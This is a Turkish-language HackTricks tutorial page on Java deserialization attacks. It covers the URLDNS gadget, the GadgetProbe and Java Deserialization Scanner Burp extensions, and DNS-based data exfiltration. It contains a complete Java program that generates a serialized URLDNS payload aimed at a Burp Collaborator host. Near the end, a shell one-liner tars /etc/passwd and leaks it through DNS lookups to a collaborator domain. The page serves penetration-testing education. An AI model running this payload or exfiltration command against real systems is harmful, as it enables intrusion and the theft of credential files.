12 KiB
Java DNS Serileştirme, GadgetProbe ve Java Serileştirme Tarayıcı
AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Serileştirme üzerinden DNS isteği
java.net.URL
sınıfı Serializable
arabirimini uygular, bu da bu sınıfın serileştirilebileceği anlamına gelir.
public final class URL implements java.io.Serializable {
Bu sınıfın ilginç bir davranışı var. Belgelendirmeye göre: "İki ana makine, her iki ana makine adı da aynı IP adreslerine çözümlenebiliyorsa eşit kabul edilir".
Sonra, bir URL nesnesi herhangi bir equals
veya hashCode
fonksiyonunu çağırdığında bir IP Adresi almak için bir DNS isteği gönderilecek.
Bir URL nesnesinden hashCode
fonksiyonunu çağırmak oldukça kolaydır, bu nesneyi deserialize edilecek bir HashMap
içine yerleştirmek yeterlidir. Bu, HashMap
'in readObject
fonksiyonunun sonunda bu kodun çalıştırılmasından dolayıdır:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Bu, HashMap
içindeki her değerle putVal
'in çalışacağı anlamına gelir. Ancak, daha önemli olan her değerle hash
'ın çağrılmasıdır. İşte hash
fonksiyonunun kodu:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Gözlemleyebileceğiniz gibi, bir HashMap
de-serileştirildiğinde, hash
fonksiyonu her nesne ile yürütülecek ve hash
yürütülürken nesnenin .hashCode()
'u yürütülecektir. Dolayısıyla, bir URL nesnesi içeren bir HashMap
de-serileştirilirse, URL nesnesi .hashCode()
'u yürütecektir.
Şimdi, URLObject.hashCode()
koduna bir göz atalım:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Gördüğünüz gibi, bir URLObject
bir .hashCode()
çalıştırdığında, hashCode(this)
olarak adlandırılır. Devamında bu fonksiyonun kodunu görebilirsiniz:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Bir `getHostAddress`'ın etki alanına yönlendirildiğini görebilirsiniz, **bir DNS sorgusu başlatılıyor**.
Bu nedenle, bu sınıf **istismar edilebilir** ve **deserializasyonun** mümkün olduğunu **göstermek** veya hatta **bilgi sızdırmak** için bir **DNS sorgusu başlatmak** için kullanılabilir (bir komut yürütme çıktısını alt alan ad olarak ekleyebilirsiniz).
### URLDNS yükü kod örneği
[ysoserial'dan URDNS yükü kodunu buradan bulabilirsiniz](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ancak, kodlamayı nasıl yapılacağını daha iyi anlamanız için kendi PoC'umu oluşturdum (ysoserial'dan alınan birine dayanarak):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Daha fazla bilgi
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Orijinal fikirde, commons collections yükü bir DNS sorgusu gerçekleştirmek üzere değiştirildi, bu önerilen yöntemden daha az güvenilirdi, ancak bu yazıda bulunabilir: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
GadgetProbe'u Burp Suite Uygulama Mağazası'ndan (Extender) indirebilirsiniz.
GadgetProbe, sunucunun Java sınıfında bazı Java sınıflarının var olup olmadığını belirlemeye çalışacaktır, böylece bilinen bir saldırıya karşı savunmasız olup olmadığını bilebilirsiniz.
Nasıl çalışır
GadgetProbe, önceki bölümdeki DNS yükünü kullanacak ancak DNS sorgusunu çalıştırmadan önce bir keyfi sınıfı deserialize etmeye çalışacaktır. Eğer keyfi sınıf varsa, DNS sorgusu gönderilecek ve GadgetProbe bu sınıfın var olduğunu belirtecektir. Eğer DNS isteği hiç gönderilmezse, bu, keyfi sınıfın başarılı bir şekilde deserialize edilmediği anlamına gelir, yani ya mevcut değil ya da serileştirilemez/sömürülemez.
Github içinde, GadgetProbe'un test edilmesi için bazı kelime listeleri bulunmaktadır.
Daha Fazla Bilgi
Java Deserialization Tarayıcı
Bu tarayıcıyı Burp App Store'dan (Extender) indirebilirsiniz.
Uzantı, pasif ve aktif yeteneklere sahiptir.
Pasif
Varsayılan olarak, Java serileştirilmiş sihirli baytları arayan ve herhangi bir bulursa bir güvenlik açığı uyarısı sunan tüm istekleri ve yanıtları pasif olarak kontrol eder:
Aktif
Manuel Test
Bir isteği seçebilir, sağ tıklayabilir ve Send request to DS - Manual Testing
seçeneğini seçebilirsiniz.
Ardından, Deserialization Scanner Tab --> Manual testing tab içinde yerleştirme noktasını seçebilirsiniz. Ve testi başlatabilirsiniz (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).
Bu "Manuel test" olarak adlandırılsa da oldukça otomatiktir. Web sunucusunda bulunan kütüphaneleri kontrol ederek serileştirmenin **herhangi bir ysoserial yüküne karşı savunmasız olup olmadığını otomatik olarak kontrol eder ve savunmasız olanları vurgular. Savunmasız kütüphaneleri kontrol etmek için Javas Sleeps, CPU tüketimi yoluyla uykusuzluklar veya yukarıda belirtildiği gibi DNS kullanmayı seçebilirsiniz.
Sömürü
Bir savunmasız kütüphane belirlediyseniz, isteği Exploiting Tab'a gönderebilirsiniz.
Bu sekmede yerleştirme noktasını yeniden seçmeniz, oluşturmak istediğiniz savunmasız kütüphaneyi ve komutu yazmanız gerekecektir. Ardından, uygun Saldırı düğmesine basmanız yeterlidir.
Java Deserialization DNS Exfil bilgisi
Payload'ınızın aşağıdakine benzer bir şeyi çalıştırmasını sağlayın:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Daha Fazla Bilgi
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.